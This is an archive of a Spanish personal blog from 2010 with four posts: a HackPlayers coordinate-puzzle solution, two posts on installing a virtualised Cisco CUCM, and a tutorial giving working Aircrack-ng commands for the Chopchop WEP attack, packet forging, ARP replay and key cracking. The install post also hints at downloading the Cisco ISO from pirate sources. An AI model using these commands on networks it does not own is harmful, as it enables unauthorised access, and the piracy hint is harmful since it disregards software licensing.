5 de diciembre de 2010

Solución reto HackPlayers: La nave perdida

No hace mucho que sigo el blog HackPlayers y realmente me parece muy interesante tanto por los artículos que publican como por los retos de seguridad que proponen para su resolución. Me resultaron muy curiosos y educativos por lo que aprovechando que hace poco publicaron uno nuevo, me decidi a participar...

Podemos ver la información en este enlace y el mapa aqui. Además, en Twitter también podíamos seguir el reto. Empiezo...


Lo primero de todo localizar el código donde se define la animación. En este caso se trata de un script Javascript que intuiblemente podemos pensar en alguna API de Google.


Ya detendiéndome en el código y en las distintas clases que se utilizan, observo que primero se describe el mapa, el tamaño, el icono, la coordenada de inicio.... Luego se define la polilínea que marca el trazado de la nave y por último la función animate que arranca la animación dependiendo de la distancia recorrida, esta se consigue con getLenght() y se muestra un alert() cuando la distancia es menor o igual a 100 metros.

De todo ello, obtengo que las coordenadas se codifican a través de la clase GPolyline.fromEncoded() donde se definen en la variable points:

points: "osrkKntgd]fmxaQ_nszCmsrkKohwu\\txduD_nszCwyluEj`saI",

Sigo buscando información sobre las polilíneas y encuentro una Web donde se detallan las variables utilizadas.


De donde también obtengo que los puntos se codifican con la herramienta Interactive Polyline Encoder Utility, por lo que busco información sobre la misma y hago una prueba, fallida :(, para obtener las coordenadas...


Sigo revisando los resultados y encuentro otra Web interesante con información relativa a dicha clase y al algoritmo con que se codifican las coordenadas. Ahí encuentro un enlace a la documentación de Google sobre el algoritmo en la que obtengo la pista que me permite seguir adelante: Las barras invertidas (\) son caracteres de escape que deben ser duplicadas en los resultados en los que aparece...


Con esta nueva información me vuelvo a dirigir a la herramienta de Google, quitando una de las barras invertidas, y obtengo las coordenadas por las que pasa la nave....


Encuentro también otra Web interesante con documentación sobre las polilíneas para Google Maps, ejemplos de usos y otro decodificador en el que no es necesario quitar el caracter de escape


He de reconocer que me ofusqué y no veía más alla del mapa hasta que Vicente me aclaro la situación... Las coordenadas son unas sucesiones matemáticas con las que encontramos las coordenadas que nos faltan.... Estas son:

64.9812,-158.1500
-29.8486,-132.6500
35.1326,23.1224
5.2840,48.6224
40.4166,-4.2367

Y si separamos latitud y longitud obtenemos:

64.9812, -29.8486, 35.1326, 5.2840, 40.4166, X
-158.1500, -132.6500, 23.1224, 48.6224, -4.2367, Y

Para la latitud veo que las coordenadas coinciden con la suma de las dos anteriores, por lo que:

64.9812 + (-29.8486) = 35.1326
-29.8486 + 35.1326 = 5.2840
35.1326 + 5.2840 = 40.4166
5.2840 + 40.4166 = X = 45.7006

La coordenada para la longitud ya es otra cosa, inicialmente intenté con la misma relación pero no me llevaba a ningún sitio... Sigo haciendo pruebas y descubro que las coordenadas en parejas tienen una diferencia de 25,5 puntos. Desarrollandolo sería:

158.1500 – 132.65 = 25.5
48.6224 – 23.1224 = 25.5 (He cambiado el orden para evitar el negativo)
4.2367 – Y = 25.5

Despejo Y de la ecuación anterior de la siguiente manera:

- Y = 25.5 – 4.2367
Y = -25.5 + 4.2367 = -21,2633

Las coordenadas obtenidas son 45.7006,-21.2633 y la busco para comprobar que hay en ella


Y dándole al zoom


Hay algo que no cuadra... Debería haber por lo menos algo, pero el mar???? De nuevo, Vicente me aclara... La longitud no es negativa. Entonces, las coordenadas quedarían 45.7006,21.2633


La explicación:
Los pares de coordenadas deben tener una diferencia de (+ = positiva) 25,5 puntos por lo que:

Y – 4.2367 = 25,5
Y = 25,5 – 4,2367 = 21,2633

Siendo la coordenada correcta... ;-)

El reto me ha resultado muy entretenido y educativo dado que no conocía esta API ni los usos que se pueden dar a ella... Quiero dar las gracias a Vicente por la ayuda y las pistas dadas porque sino nunca habría podido resolver el reto, me ofusque en buscar la coordenada en el mapa y no ví más alla... ;-)

Un saludo, Brixton Cat.

19 de noviembre de 2010

Cisco Unified Communications Manager virtualizado: configuración

Seguimos con la instalación de nuestra particular centralita VoIP de Cisco, en esta entrada veremos la configuración inicial que se incluye en el instalador del sistema operativo; como la contraseña de administración (el usuario root queda deshabilitado), de la base de datos, etc... Para ahorrar espacio y evitar información innecesaria, quitare pasos intermedios que no suponen complicaciones.

Inicialmente cargará los archivos de pre-instalación y después, dado que estamos virtualizando la centralita, nos muestra una advertencia comunicándonos la falta de garantia en dicho soporte.













En la siguiente pantalla nos indica que debemos realizar la configuración inicial y deberemos de elegir entre cancelar el proceso, que apagará el sistema, o proceder a dicha configuración a través del asistente


Posteriormente nos pregunta si tenemos parches/actualizaciones que queramos agregar. Posiblemente vosotros, al igual que yo XD, no tengais a mano ninguna... asi que marcamos no


Ahora nos pregunta si queremos importar datos de versiones anteriores que utilizaban Windows como sistema operativo


Ahora procederemos a la configuración básica


Ahora deberemos especificar nuestra localización


Ahora especificamos el modo duplex para la tarjeta de red que utilizará la centralita


Y nos pregunta si queremos utilizar DHCP para el direccionamiento de la centralita. Para no depender de equipos externos, configuramos una dirección IP estática para asegurar su disponibilidad.


En la siguiente pantalla especificamos: el nombre de host, la dirección IP, la máscara de red y la puerta de enlace


Ahora debemos configurar el uso del cliente DNS para nuestra centralita. Nuevamente, para no depender de equipos externos, negaremos dicha configuración.


Ahora deberemos especificar los credenciales para el acceso administrador a la centralita


Y en la siguiente pantalla nos solicita los datos con los que generar el certificado de clave pública que utilizará el servidor


Debido a que dicha instalación la vamos a utilizar para un tutorial, solamente vamos a instalar un equipo; el primer nodo del cluster se denomina Publisher y es quien registra los cambios en la base de datos y la replica al resto de nodos de la red, Suscribers.

En caso de caida de un Publisher, el resto de nodos se encargarán del enrutado de las llamadas pero no se podrán realizar modificaciones en la base de datos: terminales, sedes, gateways..... Imaginación al poder ;-)


Para el tutorial y para evitar dependencias externas, no utilizo ningún servidor horario (NTP), por lo que deberemos especificarlo nosotros













En esta pantalla debemos especificar la contraseña de acceso a la base de datos


No vamos a utilizar el protocolo SMTP para el envio de e-mails por lo que denegamos la siguiente opción


Ahora especificamos el usuario y la contraseña de usuario para nuestra centralita


Y después nos avisa que hemos finalizado el proceso de configuración de la misma, bien por tí si has llegado hasta aquí ;-)


En las siguientes pantallas nos informa de los terminos de licencia que se aplican al equipo con dirección MAC especificada y advertencias sobre el contenido cryptográfico que contiene el servidor














En siguientes pantallas se termina la configuración inicial de la centralita tras lo que se reinicirá pudiendo acceder en local, a través de SSH, TFTP o accediendo a la interfaz web de la misma.... Esta parte la veremos en siguientes entradas.

Un saludo, Brixton Cat.

Suite Aircrack-ng: Chopchop

Continuando con la serie Suite Aircrack-ng, en esta entrada voy a describir el ataque Chopchop desarrollado por Korec para descifrar el algoritmo WEP. Al igual que en el ataque de fragmentación, con este ataque obtendremos el PRGA generado con la clave y lo utilizaremos para crear un paquete ARP que injectaremos después.

Introducción
Saltando un poco la teoría del algoritmo WEP, trataré de explicar brevemente este ataque y los usos que podemos darles. Chopchop se basa en la adivinación del Integrity Check Value (ICV) utilizando una relación matemática exitente entre los paquetes cifrado y el código con el que verificar su integridad.


Esto se consigue truncando la información de un paquete cifrado con la clave compartida WEP y eliminándo el último byte. Este último, se sustituye por un valor conocido (00, 01... 255, 256) y se envia al Access Point para que compruebe su integridad. Debido a los pocos valores a probar, en pocos minutos encontramos un paquete que es tomado como válido y lo utilizamos para obtener el keystream de la conexión.

Ataque Chopchop
Como siempre, lo primero que debemos hacer es poner en modo monitor la tarjeta wireless que vamos a utilizar.


Arrancamos Airodump para ver las redes que tenemos disponibles con el comando:

airodump-ng --encrypt WEP -a mon0

Explicación:
--encrypt WEP. Filtramos las redes WEP
-a. Filtramos los clientes no conectados
mon0. Interfaz wireless


Una vez seleccionamos la red objetivo, volvemos a lanzar el comando anterior para filtrar el tráfico que nos interesa

airodump-ng -w out --bssid E0:91:53:... -c 6 mon0

Explicación:
-w out. Archivo de captura
--bssid E0:91:53:.... BSSID del AP
-c 6. Canal que utiliza la red
mon0. Interfaz


Ahora lanzamos el ataque Chochop con el comando:

aireplay-ng --chopchop -b E0:91:53:... -h 00:26:82:... mon0

Explicación:
--chopchop. Ataque Chopchop
-b E0:91:53:.... Dirección física del AP
-h 00:26:82:.... Dirección MAC del clietne
mon0. Interfaz utilizada


Una vez encontramos un paquete que el AP toma como válido, éste es utilizado para obtener el PRGA de la conexión


Ahora forjamos una petición ARP Request con packetforje-ng que utilizaremos para injectarlo en un ataque ARP replay. Aunque en la documentación sobre Chopchop utilizan tcpdump para obtener la dirección IP destino, yo utilizo una dirección de broadcast genérica que será aceptada por todos los routers.

packetforje-ng --arp \
                       -a E0:91:53:... \
                       -h  00:26:82:... \
                       -k 255.255.255.255 \
                       -l 255.255.255.255 \
                       -y replay_dec-1107-231548.xor \
                       -w salida

Explicación:
--arp. Tipo de paquete a forjar
-a E0:91:53:.... Dirección MAC del AP
-h 00:26:82:.... Dirección física del cliente
-k 255.255.255.255. Dirección IP origen
-l 255.255.255.255. Dirección IP destino
-y replay_dec-1107-231548.xor. Paquete con el PRGA
-w salida. Paquete de salida


Ahora solamente reinjectamos el paquete que acabamos de crear con el comando

aireplay-ng --arpreplay -r salida -x 600 -b E0:91:53:... -h 00:26:82:... mon0

Explicación:
--arpreplay. Ataque ARP replay
-r salida. Nombre del archivo de origen
-x 600. Número de paquetes a enviar
-b E0:91:53:.... BSSID del AP
-h 00:26:82:.... Dirección MAC del cliente
mon0. Interfaz


Nuevamente, a los pocos minutos obtenemos la cantidad de paquetes necesarios para descifrar la clave WEP


Pasamos el craqueador con el comando

aircrack-ng out-01.cap


Ahora como siempre, pasamos a comprobar que la clave es correcta y que tenemos conexión con Internet. Lo primero, desactivar el modo monitor


Configuramos nuestra tarjeta con los datos de la red


Y lanzamos la petición DHCP para obtener una dirección IP válida para la red


Por último, actualizo la lista de paquetes para comprobar que tengo conexión al exterior


Importante
Esta documentación se expone a título informativo, en ningún caso el autor se hace responsable de los usos que los lectores hagan de ella o de las consecuencias a terceros que estos provequen.

Enlaces de referencia
http://www.aircrack-ng.org/doku.php?id=es:korek_chopchop
http://www.aircrack-ng.org/doku.php?id=chopchoptheory
http://www.netstumbler.org/f50/chopchop-experimental-wep-attacks-12489/ 
http://www.wve.org/entries/show/213
Byte-Sized Decryption of WEP with Chopchop (I y II)

Un saludo, Brixton Cat.

12 de noviembre de 2010

Cisco Unified Communications Manager virtualizado: Instalación

En esta entrada vamos a realizar la configuración de una centralita VoIP de Cisco. Cisco Unified Communications Manager es la solución propietaria diseñada por este grande de las telecomunicaciones para las nuevas redes telefónicas basadas en tecnología IP. La centralita, Call Manager (CCM para los amigos), se encuentra centralizada distribuyendose en las distintas sedes los equipos que integran las redes de datos y la de voz.


Deberemos de  instalar gateways (GWs) que nos integren la red telefónica con la red IP y podremos tener instalados conexiónes tradicionales tipo BRI, PRI o RTC; o realizar sesiones SIP, H323 o QSIG contra el servidor. Los GWs establecen sesiones MGCP contra la centralita registrando cada puerto, cada cierto tiempo, para comprobar la disponibilidad y controlar el dispositivo encargado de enrutar las llamadas. El tráfico de voz se encapsula utilizando RTP codificado con G711 o G729 (entre otros codecs) para lo que será necesario tener DSPs, hardware o software, al igual que para las conferencias, la musica en espera (MoH), etc.


En la configuración de los terminales podemos utilizar SIP para el uso de dispositivos genéricos o SCCP, en caso de tecnología Cisco, que integra mayor número de funcionalidades. Igualmente, los terminales se registraran con la centralita para comprobar su disponibilidad. En el caso que se pierda la conexión con la centralita, Cisco ha desarrollado el protocolo SRST para que todas las llamadas sean controladas por el GW, los terminales se registrarán contra él, encaminando las llamadas hacia la PSTN.


Inicialmente desarrollaremos la instalación del SO y saltaremos la configuración inicial para detallarla en próximas entradas...

Lo primero que debemos hacer es tener un disco de instalación. Éste lo deberemos comprar a algún distribuidor oficial de Cisco; o lo podremos descargar de Internet... En su día había una imagen ISO colgada en ThePirateBay pero con una simple búsqueda yo la he encontrado en servidores de descarga ;-).


Instalaré la centralita en mi, ya comentado anteriormente, lab particular: VMWare... Para ello creo una nueva máquina virtual y edito las opciones adecuandolo al equipo...


Una vez arranca el sistema, nos informa que estamos realizando la instalación bajo VMWare por lo que al no utilizar el hardware recomendado por el fabricante no tenemos soporte técnico.


Seleccionamos la solución a instalar, en nuestro caso: Cisco Unified Communications Manager


y acceptamos el aviso que nos muestra en la siguiente pantalla


En esta pantalla nos ofrece la posibilidad de realizar la configuración inicial antes de instalar el SO. Como anteriormente comenté, en esta entrada nos centraremos en la instalación y la configuración se detallará en siguientes entradas.


Una vez saltamos el proceso de configuración, comienza la instalación del SO: volcado de los archivos al disco, instalación del propio SO, paquetes adicionales...






Una vez terminada la instalación de los paquetes del sistema, el equipo se reinicia para cargar el programa de configuración


En próximas entradas detallaré la configuración inicial que nos solicita el instalador de nuestra centralita CUCM particular.

Un saludo, Brixton Cat.